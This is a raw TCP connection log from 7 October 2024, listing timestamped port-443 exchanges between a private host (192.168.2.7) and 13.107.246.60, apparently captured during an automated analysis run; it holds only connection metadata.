Oct 7, 2024 06:44:27.917859077 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.917887926 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.918135881 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.918273926 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.918284893 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.977983952 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.978127003 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.978197098 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.993632078 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.993710041 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.993789911 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:27.993802071 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.993870974 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:27.993963003 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.000834942 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.000988007 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.001072884 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.001419067 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.001476049 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.001547098 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.001579046 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.001609087 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.001719952 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.057168007 CEST	49798	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.057193041 CEST	443	49798	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.058705091 CEST	49800	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.058723927 CEST	443	49800	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.059824944 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.059859991 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.059874058 CEST	49799	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.059880018 CEST	443	49799	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.060679913 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.060713053 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.060724974 CEST	49801	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.060731888 CEST	443	49801	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.070117950 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.070143938 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.070290089 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.070961952 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.070976973 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.072499037 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.072552919 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.072639942 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.073095083 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.073107958 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.073800087 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.073807001 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.073896885 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.073992968 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.074001074 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.078178883 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.078192949 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.078257084 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.078418970 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.078435898 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.558878899 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.559340954 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.559355974 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.559876919 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.559881926 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658448935 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658472061 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658524036 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.658538103 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658555031 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658600092 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.658869982 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.658885002 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.658895969 CEST	49803	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.658906937 CEST	443	49803	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.661781073 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.661819935 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.661884069 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.662041903 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.662050962 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.711131096 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.711781025 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.711810112 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.712287903 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.712294102 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.716867924 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.717293024 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.717298985 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.717786074 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.717788935 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.721174002 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.721569061 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.721581936 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.721968889 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.721973896 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.728420019 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.728774071 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.728787899 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.729227066 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.729238033 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.810245037 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.810327053 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.810370922 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.810722113 CEST	49806	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.810739994 CEST	443	49806	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.816538095 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.816801071 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.816855907 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.821971893 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.822101116 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.822148085 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.829145908 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.830595016 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.830605030 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.830624104 CEST	49805	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.830629110 CEST	443	49805	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.831799984 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.831867933 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.832873106 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.832889080 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.832902908 CEST	49804	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.832909107 CEST	443	49804	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.835179090 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.835182905 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.835203886 CEST	49807	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.835206985 CEST	443	49807	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.842186928 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.842219114 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.842272043 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.843202114 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.843211889 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.845555067 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.845587969 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.845639944 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.846199036 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.846213102 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.847404003 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.847438097 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.847492933 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.848681927 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.848716021 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.848766088 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.848881006 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.848893881 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:28.849154949 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:28.849165916 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.162314892 CEST	49677	443	192.168.2.7	20.50.201.200
Oct 7, 2024 06:44:29.296097040 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.296540976 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.296557903 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.298074007 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.298084974 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.395555973 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.395687103 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.395843029 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.396004915 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.396022081 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.396043062 CEST	49809	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.396048069 CEST	443	49809	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.399040937 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.399066925 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.399275064 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.399275064 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.399303913 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.486560106 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.487365007 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.487402916 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.487426043 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.487543106 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.487548113 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.488153934 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.488153934 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.488178015 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.488194942 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.489769936 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.490067005 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.490082026 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.491429090 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.491434097 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.503454924 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.504483938 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.504483938 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.504503012 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.504515886 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.585233927 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.585360050 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.585520029 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.585629940 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.585629940 CEST	49812	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.585644007 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.585653067 CEST	443	49812	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.586102962 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.586188078 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.586323023 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.586374998 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.586374998 CEST	49813	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.586394072 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.586405039 CEST	443	49813	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.588901043 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.588907003 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.588926077 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.588933945 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.589010954 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.589014053 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.589194059 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.589205027 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.589231014 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.589242935 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.590384960 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.590503931 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.590698004 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.590698004 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.590993881 CEST	49810	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.591007948 CEST	443	49810	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.592612028 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.592648029 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.592818022 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.592911959 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.592921972 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.606981993 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.607060909 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.607307911 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.607307911 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.607530117 CEST	49811	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.607546091 CEST	443	49811	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.609781027 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.609807014 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:29.609998941 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.610049963 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:29.610063076 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.031377077 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.032711029 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.032758951 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.033180952 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.033191919 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.129833937 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.130530119 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.131021976 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.131067991 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.131067991 CEST	49814	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.131086111 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.131099939 CEST	443	49814	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.134000063 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.134027958 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.134088993 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.134421110 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.134429932 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.237673998 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.237953901 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.238130093 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.238145113 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.238533020 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.238543987 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.238677979 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.238682985 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.239084959 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.239090919 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.246386051 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.246983051 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.246990919 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.247157097 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.247164011 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.273952007 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.276031971 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.276057005 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.276552916 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.276560068 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.336604118 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.336760998 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.336802006 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.336816072 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.336828947 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.336877108 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.337780952 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.337903976 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.337954998 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.337990046 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.338021994 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.338067055 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.344037056 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.344058037 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.344069004 CEST	49817	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.344074965 CEST	443	49817	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.345797062 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.345824003 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.345856905 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.345863104 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.345874071 CEST	49816	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.345880032 CEST	443	49816	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.345932961 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.347516060 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.347521067 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.347533941 CEST	49818	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.347536087 CEST	443	49818	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.353322029 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.353358030 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.353419065 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.356163025 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.356213093 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.356271029 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.356657982 CEST	49822	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.356671095 CEST	443	49822	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.356995106 CEST	49823	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.357009888 CEST	443	49823	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.359050989 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.359061003 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.359129906 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.359422922 CEST	49824	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.359432936 CEST	443	49824	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.377806902 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.377989054 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.378048897 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.378204107 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.378220081 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.378231049 CEST	49815	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.378236055 CEST	443	49815	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.383038998 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.383058071 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.383111000 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.383347988 CEST	49825	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.383359909 CEST	443	49825	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.780806065 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.795979977 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.796042919 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.797070026 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.797085047 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.899797916 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.899952888 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.900016069 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.901319027 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.901362896 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.901391983 CEST	49819	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.901408911 CEST	443	49819	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.904536963 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.904578924 CEST	443	49827	13.107.246.60	192.168.2.7
Oct 7, 2024 06:44:30.904634953 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.904828072 CEST	49827	443	192.168.2.7	13.107.246.60
Oct 7, 2024 06:44:30.904839039 CEST	443	49827	13.107.246.60	192.168.2.7
